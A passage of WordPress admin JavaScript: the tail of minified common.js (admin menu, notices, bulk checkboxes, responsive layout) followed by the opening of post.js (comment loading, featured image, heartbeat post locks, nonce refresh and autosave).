input",function(){l.prop("checked",!0)}),s.on("focus",function(e){a=!0,W(this).off(e)}),o.each(function(){c(W(this))}),s.on("change",function(){o.each(function(){c(W(this))})}),o.on("click",function(){var e=s.val(),t=s[0].selectionStart,n=s[0].selectionEnd,i=W(this).text().trim(),o=W(this).hasClass("active")?W(this).attr("data-removed"):W(this).attr("data-added");-1!==e.indexOf(i)?(e=e.replace(i+"/",""),s.val("/"===e?"":e),W("#custom_selection_updated").text(o),c(W(this))):(a||0!==t||0!==n||(t=n=e.length),l.prop("checked",!0),"/"!==e.substr(0,t).substr(-1)&&(i="/"+i),"/"!==e.substr(n,1)&&(i+="/"),s.val(e.substr(0,t)+i+e.substr(n)),W("#custom_selection_updated").text(o),c(W(this)),a&&s[0].setSelectionRange&&(n=(e.substr(0,t)+i).length,s[0].setSelectionRange(n,n),s.trigger("focus")))}),W(function(){var n,i,o,a,e,t,s,r,l,c,d=!1,u=W("input.current-page"),R=u.val(),p=/iPhone|iPad|iPod/.test(navigator.userAgent),z=-1!==navigator.userAgent.indexOf("Android"),m=W("#adminmenuwrap"),h=W("#wpwrap"),f=W("#adminmenu"),g=W("#wp-responsive-overlay"),v=W("#wp-toolbar"),b=v.find('a[aria-haspopup="true"]'),w=W(".meta-box-sortables"),k=!1,C=W("#wpadminbar"),y=0,L=!1,x=!1,S=0,A=!1,P={window:V.height(),wpwrap:h.height(),adminbar:C.height(),menu:m.height()},T=W(".wp-header-end");function M(){var e=W("a.wp-has-current-submenu");"folded"===s?e.attr("aria-haspopup","true"):e.attr("aria-haspopup","false")}function _(e){var t=e.find(".wp-submenu"),e=e.offset().top,n=V.scrollTop(),i=e-n-30,e=e+t.height()+1,o=60+e-h.height(),n=V.height()+n-50;1<(o=i<(o=n<e-o?e-n:o)?i:o)&&W("#wp-admin-bar-menu-toggle").is(":hidden")?t.css("margin-top","-"+o+"px"):t.css("margin-top","")}function D(){W(".notice.is-dismissible").each(function(){var t=W(this),e=W('<button type="button" class="notice-dismiss"><span class="screen-reader-text"></span></button>');t.find(".notice-dismiss").length||(e.find(".screen-reader-text").text(H("Dismiss this notice.")),e.on("click.wp-dismiss-notice",function(e){e.preventDefault(),t.fadeTo(100,0,function(){t.slideUp(100,function(){t.remove()})})}),t.append(e))})}function E(e,t,n,i){n.on("change",function(){e.val(W(this).val())}),e.on("change",function(){n.val(W(this).val())}),i.on("click",function(e){e.preventDefault(),e.stopPropagation(),t.trigger("click")})}function N(){r.prop("disabled",""===l.map(function(){return W(this).val()}).get().join(""))}function F(e){var t=V.scrollTop(),e=!e||"scroll"!==e.type;if(!p&&!f.data("wp-responsive"))if(P.menu+P.adminbar<P.window||P.menu+P.adminbar+20>P.wpwrap)j();else{if(A=!0,P.menu+P.adminbar>P.window){if(t<0)return void(L||(x=!(L=!0),m.css({position:"fixed",top:"",bottom:""})));if(t+P.window>Q.height()-1)return void(x||(L=!(x=!0),m.css({position:"fixed",top:"",bottom:0})));y<t?L?(L=!1,(S=m.offset().top-P.adminbar-(t-y))+P.menu+P.adminbar<t+P.window&&(S=t+P.window-P.menu-P.adminbar),m.css({position:"absolute",top:S,bottom:""})):!x&&m.offset().top+P.menu<t+P.window&&(x=!0,m.css({position:"fixed",top:"",bottom:0})):t<y?x?(x=!1,(S=m.offset().top-P.adminbar+(y-t))+P.menu>t+P.window&&(S=t),m.css({position:"absolute",top:S,bottom:""})):!L&&m.offset().top>=t+P.adminbar&&(L=!0,m.css({position:"fixed",top:"",bottom:""})):e&&(L=x=!1,0<(S=t+P.window-P.menu-P.adminbar-1)?m.css({position:"absolute",top:S,bottom:""}):j())}y=t}}function U(){P={window:V.height(),wpwrap:h.height(),adminbar:C.height(),menu:m.height()}}function j(){!p&&A&&(L=x=A=!1,m.css({position:"",top:"",bottom:""}))}function O(){U(),f.data("wp-responsive")?(q.removeClass("sticky-menu"),j()):P.menu+P.adminbar>P.window?(F(),q.removeClass("sticky-menu")):(q.addClass("sticky-menu"),j())}function K(){W(".aria-button-if-js").attr("role","button")}function I(){var e=!1;return e=$.innerWidth?Math.max($.innerWidth,document.documentElement.clientWidth):e}function B(){var e=I()||961;s=e<=782?"responsive":q.hasClass("folded")||q.hasClass("auto-fold")&&e<=960&&782<e?"folded":"open",Q.trigger("wp-menu-state-set",{state:s})}f.on("click.wp-submenu-head",".wp-submenu-head",function(e){W(e.target).parent().siblings("a").get(0).click()}),W("#collapse-button").on("click.collapse-menu",function(){var e=I()||961;W("#adminmenu div.wp-submenu").css("margin-top",""),s=e<=960?q.hasClass("auto-fold")?(q.removeClass("auto-fold").removeClass("folded"),setUserSetting("unfold",1),setUserSetting("mfold","o"),"open"):(q.addClass("auto-fold"),setUserSetting("unfold",0),"folded"):q.hasClass("folded")?(q.removeClass("folded"),setUserSetting("mfold","o"),"open"):(q.addClass("folded"),setUserSetting("mfold","f"),"folded"),Q.trigger("wp-collapse-menu",{state:s})}),Q.on("wp-menu-state-set wp-collapse-menu wp-responsive-activate wp-responsive-deactivate",M),("ontouchstart"in $||/IEMobile\/[1-9]/.test(navigator.userAgent))&&(q.on((c=p?"touchstart":"click")+".wp-mobile-hover",function(e){f.data("wp-responsive")||W(e.target).closest("#adminmenu").length||f.find("li.opensub").removeClass("opensub")}),f.find("a.wp-has-submenu").on(c+".wp-mobile-hover",function(e){var t=W(this).parent();f.data("wp-responsive")||t.hasClass("opensub")||t.hasClass("wp-menu-open")&&!(t.width()<40)||(e.preventDefault(),_(t),f.find("li.opensub").removeClass("opensub"),t.addClass("opensub"))})),p||z||(f.find("li.wp-has-submenu").hoverIntent({over:function(){var e=W(this),t=e.find(".wp-submenu"),t=parseInt(t.css("top"),10);isNaN(t)||-5<t||f.data("wp-responsive")||(_(e),f.find("li.opensub").removeClass("opensub"),e.addClass("opensub"))},out:function(){f.data("wp-responsive")||W(this).removeClass("opensub").find(".wp-submenu").css("margin-top","")},timeout:200,sensitivity:7,interval:90}),f.on("focus.adminmenu",".wp-submenu a",function(e){f.data("wp-responsive")||W(e.target).closest("li.menu-top").addClass("opensub")}).on("blur.adminmenu",".wp-submenu a",function(e){f.data("wp-responsive")||W(e.target).closest("li.menu-top").removeClass("opensub")}).find("li.wp-has-submenu.wp-not-current-submenu").on("focusin.adminmenu",function(){_(W(this))})),T.length||(T=W(".wrap h1, .wrap h2").first()),W("div.updated, div.error, div.notice").not(".inline, .below-h2").insertAfter(T),Q.on("wp-updates-notice-added wp-plugin-install-error wp-plugin-update-error wp-plugin-delete-error wp-theme-install-error wp-theme-delete-error",D),screenMeta.init(),q.on("click","tbody > tr > .check-column :checkbox",function(e){if("undefined"!=e.shiftKey){if(e.shiftKey){if(!d)return!0;n=W(d).closest("form").find(":checkbox").filter(":visible:enabled"),i=n.index(d),o=n.index(this),a=W(this).prop("checked"),0<i&&0<o&&i!=o&&(i<o?n.slice(i,o):n.slice(o,i)).prop("checked",function(){return!!W(this).closest("tr").is(":visible")&&a})}var t=W(d=this).closest("tbody").find("tr.iedit").find(":checkbox").filter(":visible:enabled").not(":checked");W(this).closest("table").children("thead, tfoot").find(":checkbox").prop("checked",function(){return 0===t.length})}return!0}),q.on("click.wp-toggle-checkboxes","thead .check-column :checkbox, tfoot .check-column :checkbox",function(e){var t=W(this),n=t.closest("table"),i=t.prop("checked"),o=e.shiftKey||t.data("wp-toggle");n.children("tbody").filter(":visible").children().children(".check-column").find(":checkbox").prop("checked",function(){return!W(this).is(":hidden,:disabled")&&(o?!W(this).prop("checked"):!!i)}),n.children("thead,  tfoot").filter(":visible").children().children(".check-column").find(":checkbox").prop("checked",function(){return!o&&!!i})}),E(W("#bulk-action-selector-top"),W("#doaction"),W("#bulk-action-selector-bottom"),W("#doaction2")),E(W("#new_role"),W("#changeit"),W("#new_role2"),W("#changeit2")),W("#wpbody-content").on({focusin:function(){clearTimeout(e),t=W(this).find(".row-actions"),W(".row-actions").not(this).removeClass("visible"),t.addClass("visible")},focusout:function(){e=setTimeout(function(){t.removeClass("visible")},30)}},".table-view-list .has-row-actions"),W("tbody").on("click",".toggle-row",function(){W(this).closest("tr").toggleClass("is-expanded")}),W("#default-password-nag-no").on("click",function(){return setUserSetting("default_password_nag","hide"),W("div.default-password-nag").hide(),!1}),W("#newcontent").on("keydown.wpevent_InsertTab",function(e){var t,n,i,o,a=e.target;27==e.keyCode?(e.preventDefault(),W(a).data("tab-out",!0)):9!=e.keyCode||e.ctrlKey||e.altKey||e.shiftKey||(W(a).data("tab-out")?W(a).data("tab-out",!1):(t=a.selectionStart,n=a.selectionEnd,i=a.value,document.selection?(a.focus(),document.selection.createRange().text="\t"):0<=t&&(o=this.scrollTop,a.value=i.substring(0,t).concat("\t",i.substring(n)),a.selectionStart=a.selectionEnd=t+1,this.scrollTop=o),e.stopPropagation&&e.stopPropagation(),e.preventDefault&&e.preventDefault()))}),u.length&&u.closest("form").on("submit",function(){-1==W('select[name="action"]').val()&&u.val()==R&&u.val("1")}),W('.search-box input[type="search"], .search-box input[type="submit"]').on("mousedown",function(){W('select[name^="action"]').val("-1")}),W("#contextual-help-link, #show-settings-link").on("focus.scroll-into-view",function(e){e.target.scrollIntoViewIfNeeded&&e.target.scrollIntoViewIfNeeded(!1)}),(c=W("form.wp-upload-form")).length&&(r=c.find('input[type="submit"]'),l=c.find('input[type="file"]'),N(),l.on("change",N)),p||(V.on("scroll.pin-menu",F),Q.on("tinymce-editor-init.pin-menu",function(e,t){t.on("wp-autoresize",U)})),$.wpResponsive={init:function(){var e=this;this.maybeDisableSortables=this.maybeDisableSortables.bind(this),Q.on("wp-responsive-activate.wp-responsive",function(){e.activate()}).on("wp-responsive-deactivate.wp-responsive",function(){e.deactivate()}),W("#wp-admin-bar-menu-toggle a").attr("aria-expanded","false"),W("#wp-admin-bar-menu-toggle").on("click.wp-responsive",function(e){e.preventDefault(),C.find(".hover").removeClass("hover"),h.toggleClass("wp-responsive-open"),h.hasClass("wp-responsive-open")?(W(this).find("a").attr("aria-expanded","true"),W("#adminmenu a:first").trigger("focus")):W(this).find("a").attr("aria-expanded","false")}),W(document).on("click",function(e){var t;h.hasClass("wp-responsive-open")&&document.hasFocus()&&(t=W.contains(W("#wp-admin-bar-menu-toggle")[0],e.target),e=W.contains(W("#adminmenuwrap")[0],e.target),t||e||W("#wp-admin-bar-menu-toggle").trigger("click.wp-responsive"))}),W(document).on("keyup",function(e){var n,i,o=W("#wp-admin-bar-menu-toggle")[0];h.hasClass("wp-responsive-open")&&(27===e.keyCode?(W(o).trigger("click.wp-responsive"),W(o).find("a").trigger("focus")):9===e.keyCode&&(n=W("#adminmenuwrap")[0],i=e.relatedTarget||document.activeElement,setTimeout(function(){var e=W.contains(o,i),t=W.contains(n,i);e||t||W(o).trigger("click.wp-responsive")},10)))}),f.on("click.wp-responsive","li.wp-has-submenu > a",function(e){f.data("wp-responsive")&&(W(this).parent("li").toggleClass("selected"),W(this).trigger("focus"),e.preventDefault())}),e.trigger(),Q.on("wp-window-resized.wp-responsive",this.trigger.bind(this)),V.on("load.wp-responsive",this.maybeDisableSortables),Q.on("postbox-toggled",this.maybeDisableSortables),W("#screen-options-wrap input").on("click",this.maybeDisableSortables)},maybeDisableSortables:function(){(-1<navigator.userAgent.indexOf("AppleWebKit/")?V.width():$.innerWidth)<=782||w.find(".ui-sortable-handle:visible").length<=1&&jQuery(".columns-prefs-1 input").prop("checked")?this.disableSortables():this.enableSortables()},activate:function(){O(),q.hasClass("auto-fold")||q.addClass("auto-fold"),f.data("wp-responsive",1),this.disableSortables()},deactivate:function(){O(),f.removeData("wp-responsive"),this.maybeDisableSortables()},trigger:function(){var e=I();e&&(e<=782?k||(Q.trigger("wp-responsive-activate"),k=!0):k&&(Q.trigger("wp-responsive-deactivate"),k=!1),e<=480?this.enableOverlay():this.disableOverlay(),this.maybeDisableSortables())},enableOverlay:function(){0===g.length&&(g=W('<div id="wp-responsive-overlay"></div>').insertAfter("#wpcontent").hide().on("click.wp-responsive",function(){v.find(".menupop.hover").removeClass("hover"),W(this).hide()})),b.on("click.wp-responsive",function(){g.show()})},disableOverlay:function(){b.off("click.wp-responsive"),g.hide()},disableSortables:function(){if(w.length)try{w.sortable("disable"),w.find(".ui-sortable-handle").addClass("is-non-sortable")}catch(e){}},enableSortables:function(){if(w.length)try{w.sortable("enable"),w.find(".ui-sortable-handle").removeClass("is-non-sortable")}catch(e){}}},W(document).on("ajaxComplete",function(){K()}),Q.on("wp-window-resized.set-menu-state",B),Q.on("wp-menu-state-set wp-collapse-menu",function(e,t){var n,i=W("#collapse-button"),t="folded"===t.state?(n="false",H("Expand Main menu")):(n="true",H("Collapse Main menu"));i.attr({"aria-expanded":n,"aria-label":t})}),$.wpResponsive.init(),O(),B(),M(),D(),K(),Q.on("wp-pin-menu wp-window-resized.pin-menu postboxes-columnchange.pin-menu postbox-toggled.pin-menu wp-collapse-menu.pin-menu wp-scroll-start.pin-menu",O),W(".wp-initial-focus").trigger("focus"),q.on("click",".js-update-details-toggle",function(){var e=W(this).closest(".js-update-details"),t=W("#"+e.data("update-details"));t.hasClass("update-details-moved")||t.insertAfter(e).addClass("update-details-moved"),t.toggle(),W(this).attr("aria-expanded",t.is(":visible"))})}),W(function(e){var t,n;q.hasClass("update-php")&&(t=e("a.update-from-upload-overwrite"),n=e(".update-from-upload-expired"),t.length)&&n.length&&$.setTimeout(function(){t.hide(),n.removeClass("hidden"),$.wp&&$.wp.a11y&&$.wp.a11y.speak(n.text())},714e4)}),V.on("resize.wp-fire-once",function(){$.clearTimeout(t),t=$.setTimeout(d,200)}),"-ms-user-select"in document.documentElement.style&&navigator.userAgent.match(/IEMobile\/10\.0/)&&((n=document.createElement("style")).appendChild(document.createTextNode("@-ms-viewport{width:auto!important}")),document.getElementsByTagName("head")[0].appendChild(n))}(jQuery,window),function(){var e,i={},o={};i.pauseAll=!1,!window.matchMedia||(e=window.matchMedia("(prefers-reduced-motion: reduce)"))&&!e.matches||(i.pauseAll=!0),i.freezeAnimatedPluginIcons=function(l){function e(){var e=l.width,t=l.height,n=document.createElement("canvas");if(n.width=e,n.height=t,n.className=l.className,l.closest("#update-plugins-table"))for(var i=window.getComputedStyle(l),o=0,a=i.length;o<a;o++){var s=i[o],r=i.getPropertyValue(s);n.style[s]=r}n.getContext("2d").drawImage(l,0,0,e,t),n.setAttribute("aria-hidden","true"),n.setAttribute("role","presentation"),l.parentNode.insertBefore(n,l),l.style.opacity=.01,l.style.width="0px",l.style.height="0px"}l.complete?e():l.addEventListener("load",e,!0)},o.freezeAll=function(){for(var e=document.querySelectorAll(".plugin-icon, #update-plugins-table img"),t=0;t<e.length;t++)/\.gif(?:\?|$)/i.test(e[t].src)&&i.freezeAnimatedPluginIcons(e[t])},!0===i.pauseAll&&o.freezeAll(),e=jQuery,"plugin-install"===window.pagenow&&e(document).ajaxComplete(function(e,t,n){n.data&&"string"==typeof n.data&&n.data.includes("action=search-install-plugins")&&(window.matchMedia?window.matchMedia("(prefers-reduced-motion: reduce)").matches&&o.freezeAll():!0===i.pauseAll&&o.freezeAll())})}();/**
 * @file Contains all dynamic functionality needed on post and term pages.
 *
 * @output wp-admin/js/post.js
 */

 /* global ajaxurl, wpAjax, postboxes, pagenow, tinymce, alert, deleteUserSetting, ClipboardJS */
 /* global theList:true, theExtraList:true, getUserSetting, setUserSetting, commentReply, commentsBox */
 /* global WPSetThumbnailHTML, wptitlehint */

// Backward compatibility: prevent fatal errors.
window.makeSlugeditClickable = window.editPermalink = function(){};

// Make sure the wp object exists.
window.wp = window.wp || {};

( function( $ ) {
	var titleHasFocus = false,
		__ = wp.i18n.__;

	/**
	 * Control loading of comments on the post and term edit pages.
	 *
	 * @type {{st: number, get: commentsBox.get, load: commentsBox.load}}
	 *
	 * @namespace commentsBox
	 */
	window.commentsBox = {
		// Comment offset to use when fetching new comments.
		st : 0,

		/**
		 * Fetch comments using Ajax and display them in the box.
		 *
		 * @memberof commentsBox
		 *
		 * @param {number} total Total number of comments for this post.
		 * @param {number} num   Optional. Number of comments to fetch, defaults to 20.
		 * @return {boolean} Always returns false.
		 */
		get : function(total, num) {
			var st = this.st, data;
			if ( ! num )
				num = 20;

			this.st += num;
			this.total = total;
			$( '#commentsdiv .spinner' ).addClass( 'is-active' );

			data = {
				'action' : 'get-comments',
				'mode' : 'single',
				'_ajax_nonce' : $('#add_comment_nonce').val(),
				'p' : $('#post_ID').val(),
				'start' : st,
				'number' : num
			};

			$.post(
				ajaxurl,
				data,
				function(r) {
					r = wpAjax.parseAjaxResponse(r);
					$('#commentsdiv .widefat').show();
					$( '#commentsdiv .spinner' ).removeClass( 'is-active' );

					if ( 'object' == typeof r && r.responses[0] ) {
						$('#the-comment-list').append( r.responses[0].data );

						theList = theExtraList = null;
						$( 'a[className*=\':\']' ).off();

						// If the offset is over the total number of comments we cannot fetch any more, so hide the button.
						if ( commentsBox.st > commentsBox.total )
							$('#show-comments').hide();
						else
							$('#show-comments').show().children('a').text( __( 'Show more comments' ) );

						return;
					} else if ( 1 == r ) {
						$('#show-comments').text( __( 'No more comments found.' ) );
						return;
					}

					$('#the-comment-list').append('<tr><td colspan="2">'+wpAjax.broken+'</td></tr>');
				}
			);

			return false;
		},

		/**
		 * Load the next batch of comments.
		 *
		 * @memberof commentsBox
		 *
		 * @param {number} total Total number of comments to load.
		 */
		load: function(total){
			this.st = jQuery('#the-comment-list tr.comment:visible').length;
			this.get(total);
		}
	};

	/**
	 * Overwrite the content of the Featured Image postbox
	 *
	 * @param {string} html New HTML to be displayed in the content area of the postbox.
	 *
	 * @global
	 */
	window.WPSetThumbnailHTML = function(html){
		$('.inside', '#postimagediv').html(html);
	};

	/**
	 * Set the Image ID of the Featured Image
	 *
	 * @param {number} id The post_id of the image to use as Featured Image.
	 *
	 * @global
	 */
	window.WPSetThumbnailID = function(id){
		var field = $('input[value="_thumbnail_id"]', '#list-table');
		if ( field.length > 0 ) {
			$('#meta\\[' + field.attr('id').match(/[0-9]+/) + '\\]\\[value\\]').text(id);
		}
	};

	/**
	 * Remove the Featured Image
	 *
	 * @param {string} nonce Nonce to use in the request.
	 *
	 * @global
	 */
	window.WPRemoveThumbnail = function(nonce){
		$.post(
			ajaxurl, {
				action: 'set-post-thumbnail',
				post_id: $( '#post_ID' ).val(),
				thumbnail_id: -1,
				_ajax_nonce: nonce,
				cookie: encodeURIComponent( document.cookie )
			},
			/**
			 * Handle server response
			 *
			 * @param {string} str Response, will be '0' when an error occurred otherwise contains link to add Featured Image.
			 */
			function(str){
				if ( str == '0' ) {
					alert( __( 'Could not set that as the thumbnail image. Try a different attachment.' ) );
				} else {
					WPSetThumbnailHTML(str);
				}
			}
		);
	};

	/**
	 * Heartbeat locks.
	 *
	 * Used to lock editing of an object by only one user at a time.
	 *
	 * When the user does not send a heartbeat in a heartbeat-time
	 * the user is no longer editing and another user can start editing.
	 */
	$(document).on( 'heartbeat-send.refresh-lock', function( e, data ) {
		var lock = $('#active_post_lock').val(),
			post_id = $('#post_ID').val(),
			send = {};

		if ( ! post_id || ! $('#post-lock-dialog').length )
			return;

		send.post_id = post_id;

		if ( lock )
			send.lock = lock;

		data['wp-refresh-post-lock'] = send;

	}).on( 'heartbeat-tick.refresh-lock', function( e, data ) {
		// Post locks: update the lock string or show the dialog if somebody has taken over editing.
		var received, wrap, avatar;

		if ( data['wp-refresh-post-lock'] ) {
			received = data['wp-refresh-post-lock'];

			if ( received.lock_error ) {
				// Show "editing taken over" message.
				wrap = $('#post-lock-dialog');

				if ( wrap.length && ! wrap.is(':visible') ) {
					if ( wp.autosave ) {
						// Save the latest changes and disable.
						$(document).one( 'heartbeat-tick', function() {
							wp.autosave.server.suspend();
							wrap.removeClass('saving').addClass('saved');
							$(window).off( 'beforeunload.edit-post' );
						});

						wrap.addClass('saving');
						wp.autosave.server.triggerSave();
					}

					if ( received.lock_error.avatar_src ) {
						avatar = $( '<img />', {
							'class': 'avatar avatar-64 photo',
							width: 64,
							height: 64,
							alt: '',
							src: received.lock_error.avatar_src,
							srcset: received.lock_error.avatar_src_2x ?
								received.lock_error.avatar_src_2x + ' 2x' :
								undefined
						} );
						wrap.find('div.post-locked-avatar').empty().append( avatar );
					}

					wrap.show().find('.currently-editing').text( received.lock_error.text );
					wrap.find('.wp-tab-first').trigger( 'focus' );
				}
			} else if ( received.new_lock ) {
				$('#active_post_lock').val( received.new_lock );
			}
		}
	}).on( 'before-autosave.update-post-slug', function() {
		titleHasFocus = document.activeElement && document.activeElement.id === 'title';
	}).on( 'after-autosave.update-post-slug', function() {

		/*
		 * Create slug area only if not already there
		 * and the title field was not focused (user was not typing a title) when autosave ran.
		 */
		if ( ! $('#edit-slug-box > *').length && ! titleHasFocus ) {
			$.post( ajaxurl, {
					action: 'sample-permalink',
					post_id: $('#post_ID').val(),
					new_title: $('#title').val(),
					samplepermalinknonce: $('#samplepermalinknonce').val()
				},
				function( data ) {
					if ( data != '-1' ) {
						$('#edit-slug-box').html(data);
					}
				}
			);
		}
	});

}(jQuery));

/**
 * Heartbeat refresh nonces.
 */
(function($) {
	var check, timeout;

	/**
	 * Only allow to check for nonce refresh every 30 seconds.
	 */
	function schedule() {
		check = false;
		window.clearTimeout( timeout );
		timeout = window.setTimeout( function(){ check = true; }, 300000 );
	}

	$( function() {
		schedule();
	}).on( 'heartbeat-send.wp-refresh-nonces', function( e, data ) {
		var post_id,
			$authCheck = $('#wp-auth-check-wrap');

		if ( check || ( $authCheck.length && ! $authCheck.hasClass( 'hidden' ) ) ) {
			if ( ( post_id = $('#post_ID').val() ) && $('#_wpnonce').val() ) {
				data['wp-refresh-post-nonces'] = {
					post_id: post_id
				};
			}
		}
	}).on( 'heartbeat-tick.wp-refresh-nonces', function( e, data ) {
		var nonces = data['wp-refresh-post-nonces'];

		if ( nonces ) {
			schedule();

			if ( nonces.replace ) {
				$.each( nonces.replace, function( selector, value ) {
					$( '#' + selector ).val( value );
				});
			}

			if ( nonces.heartbeatNonce )
				window.heartbeatSettings.nonce = nonces.heartbeatNonce;
		}
	});
}(jQuery));

/**
 * All post and postbox controls and functionality.
 */
jQuery( function($) {
	var stamp, visibility, $submitButtons, updateVisibility, updateText,
		$textarea = $('#content'),
		$document = $(document),
		postId = $('#post_ID').val() || 0,
		$submitpost = $('#submitpost'),
		releaseLock = true,
		$postVisibilitySelect = $('#post-visibility-select'),
		$timestampdiv = $('#timestampdiv'),
		$postStatusSelect = $('#post-status-select'),
		isMac = window.navigator.platform ? window.navigator.platform.indexOf( 'Mac' ) !== -1 : false,
		copyAttachmentURLClipboard = new ClipboardJS( '.copy-attachment-url.edit-media' ),
		copyAttachmentURLSuccessTimeout,
		__ = wp.i18n.__, _x = wp.i18n._x;

	postboxes.add_postbox_toggles(pagenow);

	/*
	 * Clear the window name. Otherwise if this is a former preview window where the user navigated to edit another post,
	 * and the first post is still being edited, clicking Preview there will use this window to show the preview.
	 */
	window.name = '';

	// Post locks: contain focus inside the dialog. If the dialog is shown, focus the first item.
	$('#post-lock-dialog .notification-dialog').on( 'keydown', function(e) {
		// Don't do anything when [Tab] is pressed.
		if ( e.which != 9 )
			return;

		var target = $(e.target);

		// [Shift] + [Tab] on first tab cycles back to last tab.
		if ( target.hasClass('wp-tab-first') && e.shiftKey ) {
			$(this).find('.wp-tab-last').trigger( 'focus' );
			e.preventDefault();
		// [Tab] on last tab cycles back to first tab.
		} else if ( target.hasClass('wp-tab-last') && ! e.shiftKey ) {
			$(this).find('.wp-tab-first').trigger( 'focus' );
			e.preventDefault();
		}
	}).filter(':visible').find('.wp-tab-first').trigger( 'focus' );

	// Set the heartbeat interval to 15 seconds if post lock dialogs are enabled.
	if ( wp.heartbeat && $('#post-lock-dialog').length ) {
		wp.heartbeat.interval( 15 );
	}

	// The form is being submitted by the user.
	$submitButtons = $submitpost.find( ':submit, a.submitdelete, #post-preview' ).on( 'click.edit-post', function( event ) {
		var $button = $(this);

		if ( $button.hasClass('disabled') ) {
			event.preventDefault();
			return;
		}

		if ( $button.hasClass('submitdelete') || $button.is( '#post-preview' ) ) {
			return;
		}

		// The form submission can be blocked from JS or by using HTML 5.0 validation on some fields.
		// Run this only on an actual 'submit'.
		$('form#post').off( 'submit.edit-post' ).on( 'submit.edit-post', function( event ) {
			if ( event.isDefaultPrevented() ) {
				return;
			}

			// Stop auto save.
			if ( wp.autosave ) {
				wp.autosave.server.suspend();
			}

			if ( typeof commentReply !== 'undefined' ) {
				/*
				 * Warn the user they have an unsaved comment before submitting
				 * the post data for update.
				 */
				if ( ! commentReply.discardCommentChanges() ) {
					return false;
				}

				/*
				 * Close the comment edit/reply form if open to stop the form
				 * action from interfering with the post's form action.
				 */
				commentReply.close();
			}

			releaseLock = false;
			$(window).off( 'beforeunload.edit-post' );

			$submitButtons.addClass( 'disabled' );

			if ( $button.attr('id') === 'publish' ) {
				$submitpost.find( '#major-publishing-actions .spinner' ).addClass( 'is-active' );
			} else {
				$submitpost.find( '#minor-publishing .spinner' ).addClass( 'is-active' );
			}
		});
	});

	// Submit the form saving a draft or an autosave, and show a preview in a new tab.
	$('#post-preview').on( 'click.post-preview', function( event ) {
		var $this = $(this),
			$form = $('form#post'),
			$previewField = $('input#wp-preview'),
			target = $this.attr('target') || 'wp-preview',
			ua = navigator.userAgent.toLowerCase();

		event.preventDefault();

		if ( $this.hasClass('disabled') ) {
			return;
		}

		if ( wp.autosave ) {
			wp.autosave.server.tempBlockSave();
		}

		$previewField.val('dopreview');
		$form.attr( 'target', target ).trigger( 'submit' ).attr( 'target', '' );

		// Workaround for WebKit bug preventing a form submitting twice to the same action.
		// https://bugs.webkit.org/show_bug.cgi?id=28633
		if ( ua.indexOf('safari') !== -1 && ua.indexOf('chrome') === -1 ) {
			$form.attr( 'action', function( index, value ) {
				return value + '?t=' + ( new Date() ).getTime();
			});
		}

		$previewField.val('');
	});

	// This code is meant to allow tabbing from Title to Post content.
	$('#title').on( 'keydown.editor-focus', function( event ) {
		var editor;

		if ( event.keyCode === 9 && ! event.ctrlKey && ! event.altKey && ! event.shiftKey ) {
			editor = typeof tinymce != 'undefined' && tinymce.get('content');

			if ( editor && ! editor.isHidden() ) {
				editor.focus();
			} else if ( $textarea.length ) {
				$textarea.trigger( 'focus' );
			} else {
				return;
			}

			event.preventDefault();
		}
	});

	// Auto save new posts after a title is typed.
	if ( $( '#auto_draft' ).val() ) {
		$( '#title' ).on( 'blur', function() {
			var cancel;

			if ( ! this.value || $('#edit-slug-box > *').length ) {
				return;
			}

			// Cancel the auto save when the blur was triggered by the user submitting the form.
			$('form#post').one( 'submit', function() {
				cancel = true;
			});

			window.setTimeout( function() {
				if ( ! cancel && wp.autosave ) {
					wp.autosave.server.triggerSave();
				}
			}, 200 );
		});
	}

	$document.on( 'autosave-disable-buttons.edit-post', function() {
		$submitButtons.addClass( 'disabled' );
	}).on( 'autosave-enable-buttons.edit-post', function() {
		if ( ! wp.heartbeat || ! wp.heartbeat.hasConnectionError() ) {
			$submitButtons.removeClass( 'disabled' );
		}
	}).on( 'before-autosave.edit-post', function() {
		$( '.autosave-message' ).text( __( 'Saving Draft…' ) );
	}).on( 'after-autosave.edit-post', function( event, data ) {
		$( '.autosave-message' ).text( data.message );

		if ( $( document.body ).hasClass( 'post-new-php' ) ) {
			$( '.submitbox .submitdelete' ).show();
		}
	});

	/*
	 * When the user is trying to load another page, or reloads current page
	 * show a confirmation dialog when there are unsaved changes.
	 */
	$( window ).on( 'beforeunload.edit-post', function( event ) {
		var editor  = window.tinymce && window.tinymce.get( 'content' );
		var changed = false;

		if ( wp.autosave ) {
			changed = wp.autosave.server.postChanged();
		} else if ( editor ) {
			changed = ( ! editor.isHidden() && editor.isDirty() );
		}

		if ( changed ) {
			event.preventDefault();
			// The return string is needed for browser compat.
			// See https://developer.mozilla.org/en-US/docs/Web/API/Window/beforeunload_event.
			return __( 'The changes you made will be lost if you navigate away from this page.' );
		}
	}).on( 'pagehide.edit-post', function( event ) {
		if ( ! releaseLock ) {
			return;
		}

		/*
		 * Unload is triggered (by hand) on removing the Thickbox iframe.
		 * Make sure we process only the main document unload.
		 */
		if ( event.target && event.target.nodeName != '#document' ) {
			return;
		}

		var postID = $('#post_ID').val();
		var postLock = $('#active_post_lock').val();

		if ( ! postID || ! postLock ) {
			return;
		}

		var data = {
			action: 'wp-remove-post-lock',
			_wpnonce: $('#_wpnonce').val(),
			post_ID: postID,
			active_post_lock: postLock
		};

		if ( window.FormData && window.navigator.sendBeacon ) {
			var formData = new window.FormData();

			$.each( data, function( key, value ) {
				formData.append( key, value );
			});

			if ( window.navigator.sendBeacon( ajaxurl, formData ) ) {
				return;
			}
		}

		// Fall back to a synchronous POST request.
		// See https://developer.mozilla.org/en-US/docs/Web/API/Navigator/sendBeacon
		$.post({
			async: false,
			data: data,
			url: ajaxurl
		});
	});

	// Multiple taxonomies.
	if ( $('#tagsdiv-post_tag').length ) {
		window.tagBox && window.tagBox.init();
	} else {
		$('.meta-box-sortables').children('div.postbox').each(function(){
			if ( this.id.indexOf('tagsdiv-') === 0 ) {
				window.tagBox && window.tagBox.init();
				return false;
			}
		});
	}

	// Handle categories.
	$('.categorydiv').each( function(){
		var this_id = $(this).attr('id'), catAddBefore, catAddAfter, taxonomyParts, taxonomy, settingName;

		taxonomyParts = this_id.split('-');
		taxonomyParts.shift();
		taxonomy = taxonomyParts.join('-');
		settingName = taxonomy + '_tab';

		if ( taxonomy == 'category' ) {
			settingName = 'cats';
		}

		// @todo Move to jQuery 1.3+, support for multiple hierarchical taxonomies, see wp-lists.js.
		$('a', '#' + taxonomy + '-tabs').on( 'click', function( e ) {
			e.preventDefault();
			var t = $(this).attr('href');
			$(this).parent().addClass('tabs').siblings('li').removeClass('tabs');
